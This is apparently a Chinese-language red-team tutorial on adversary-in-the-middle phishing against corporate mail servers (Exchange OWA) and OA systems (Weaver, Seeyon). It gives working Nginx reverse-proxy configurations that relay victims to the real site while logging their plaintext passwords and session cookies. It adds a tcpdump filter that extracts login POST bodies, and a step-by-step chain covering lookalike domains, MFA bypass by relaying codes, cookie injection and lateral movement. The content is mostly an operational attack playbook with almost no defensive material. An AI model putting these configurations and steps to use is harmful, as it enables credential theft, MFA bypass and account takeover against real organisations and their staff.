在红队钓鱼中,攻击者通过Nginx反向代理(AiTM)透明转发受害者流量至真实站点,同时利用proxy_pass配合日志变量捕获明文账密($request_body)与会话Cookie($http_cookie);在受害主机侧,则通过tcpdump配合BPF过滤表达式实时抓取发往代理节点的POST登录包,直接从TCP payload中提取账号、密码、验证码。两者结合,实现无感钓鱼 + MFA绕过 + 会话劫持 + 凭证验证的完整攻击链。
一、为什么邮服/OA是红队钓鱼的重点目标
| 系统类型 | 典型产品 | 凭证价值 |
|---|---|---|
| 邮件服务器 | Exchange、Coremail、Exchange Online | 邮箱可重置其他系统密码,是横向移动的"万能钥匙" |
| OA系统 | 泛微e-cology、致远A8、蓝凌EKP | 包含组织架构、审批流、通讯录,是内网信息枢纽 |
三大特征决定其易受攻击:
- 凭证密度高:邮服/OA账号通常与AD域/LDAP/SSO打通,一旦获取即可横向移动
- Web登录入口统一:登录表单结构固定(如
/owa/auth.owa、/seeyon/rest/authentication/login),前端可像素级克隆 - 会话机制可复用:Cookie + Session机制普遍,部分支持"记住我"长效令牌,截获后可直接注入接管
二、Nginx反向代理的部署与配置
1. 基础反代配置(以Exchange OWA为例)
server { listen 443 ssl; server_name mail.corp-example.com; # 伪造的合法域名 ssl_certificate /etc/nginx/cert/fake.crt; ssl_certificate_key /etc/nginx/cert/fake.key; location / { proxy_pass https://real-mail.corp-example.com; # 真实邮服地址 proxy_set_header Host real-mail.corp-example.com; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; } }关键点:Host头必须设置为真实邮服域名,否则后端会因Host校验失败而拒绝请求;SSL证书需匹配伪造域名,否则浏览器提示证书错误。
2. 敏感数据捕获配置
log_format cred_capture '$remote_addr - $time_local ' '"$request" ' 'BODY=$request_body ' 'COOKIE=$http_cookie ' 'UA=$http_user_agent'; access_log /var/log/nginx/capture.log cred_capture; location /owa/ { proxy_pass https://real-mail.corp-example.com/owa/; proxy_set_header Host real-mail.corp-example.com; proxy_pass_header Set-Cookie; # 确保Set-Cookie透传 }$request_body在proxy_pass场景下会记录POST请求体,Exchange OWA登录的账密就在其中:
username=admin&password=P@ssw0rd123&destination=https%3A%2F%2F...$http_cookie则记录客户端携带的会话令牌,捕获到的ASP.NET_SessionId或cadata可直接用于会话劫持。
3. OA系统(泛微e-cology)的特殊处理
泛微OA登录接口通常为/login/VerifyLogin.jsp,提交字段包含loginName、loginPassword。反代配置类似,但需注意:
location /login/ { proxy_pass http://real-oa.corp-example.com/login/; proxy_set_header Host real-oa.corp-example.com; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }泛微部分版本使用RSA加密传输密码,攻击者通过代理捕获的是加密后的密文,可结合前端JS逆向或直接转发到真实服务器验证的方式绕过。
三、tcpdump抓取登录包
tcpdump命令可以在受害主机侧直接抓取明文HTTP登录凭证,从TCP payload中提取邮服/OA的登录表单数据。
1. 命令逐段拆解
tcpdump-ieth0-s0-nnA'tcp dst port 80 and host 172.16.46.35 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'| 参数 | 作用 |
|---|---|
-i eth0 | 监听eth0网卡 |
-s 0 | snaplen设为0,抓取完整数据包,不截断payload |
-nnA | 不解析主机名/端口(-nn),以ASCII 打印payload(-A),方便直接读取表单字段 |
tcp dst port 80 | 目标端口80,即明文HTTP流量 |
host 172.16.46.35 | 目标为Nginx代理节点IP |
tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354 | payload前4字节为POST |
2. BPF表达式精讲
tcp[12:1]:取TCP头第13字节(偏移12),其高4位为数据偏移字段(TCP header length)& 0xf0:屏蔽低4位,仅保留高4位>> 2:右移2位,将"以32位字为单位"的长度换算为字节数:4:从payload起始位置读取4字节= 0x504f5354:与POST的ASCII十六进制比较
为什么只抓POST?邮服/OA的登录表单几乎都通过POST提交,GET请求只携带URL参数,不含密码。
3. 为什么用tcpdump而非Nginx日志
| 对比项 | tcpdump | Nginx日志 |
|---|---|---|
| 部署时机 | 旁路监听,不依赖服务端配置 | 需提前配置log_format |
| 数据完整性 | 完整捕获TCP payload | $request_body有大小限制,可能丢弃 |
| 隐蔽性 | 不修改目标配置,不易触发日志告警 | 修改配置可能引起日志异常 |
| 适用场景 | 已控主机快速验证凭证质量 | 代理节点长期留存 |
4. ASCII输出解读
-A参数让tcpdump以ASCII打印payload,可直接肉眼读取:
POST /seeyon/rest/authentication/login HTTP/1.1 Host: testasp.vulnweb.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 username=admin&password=P%40ssw0rd123&validateCode=8f3a注意:密码中的特殊字符会被URL编码(@→%40),需解码还原。
四、MFA绕过原理
邮服/OA系统常启用MFA(短信验证码、OTP令牌、邮件验证码)。Nginx反代实现MFA绕过的核心逻辑:
受害者 → [Nginx代理] → 真实邮服 ↓ 记录所有请求/响应攻击流程:
- 受害者在钓鱼页面输入账号密码,Nginx记录明文凭证并转发给真实邮服
- 真实邮服验证密码通过,下发MFA挑战
- Nginx将MFA挑战页面原样返回给受害者
- 受害者输入MFA验证码,Nginx记录并转发
- 真实邮服验证MFA通过,下发已认证的会话Cookie
- Nginx捕获该Cookie,攻击者即可在本地浏览器注入,完整接管会话
整个过程受害者看到的是正常的登录流程,毫无察觉。攻击者无需破解MFA,只需实时转发即可。
五、完整攻击链
① 克隆邮服/OA登录页 → 部署在Nginx代理VPS(172.16.46.35) ② 伪造相似域名(如 mail-corp.com vs mail.corp.com)→ 诱导受害者访问 ③ 受害主机执行tcpdump → 实时抓取POST登录包 → 提取明文账密 ④ Nginx记录 $request_body / $http_cookie → 二次留存凭证与Cookie ⑤ Nginx转发至真实邮服/OA → 受害者正常登录,无感知 ⑥ 真实邮服下发MFA挑战 → Nginx透传 → 受害者输入验证码 → Nginx记录 ⑦ 真实邮服下发会话Cookie → Nginx捕获 → 攻击者注入Cookie接管会话 ⑧ 利用邮服重置其他系统密码 → 内网横向移动第③步的tcpdump是凭证获取的"第一现场",用于快速确认钓鱼是否成功、账密是否有效;第④步的Nginx日志则是长期留存与Cookie捕获的补充。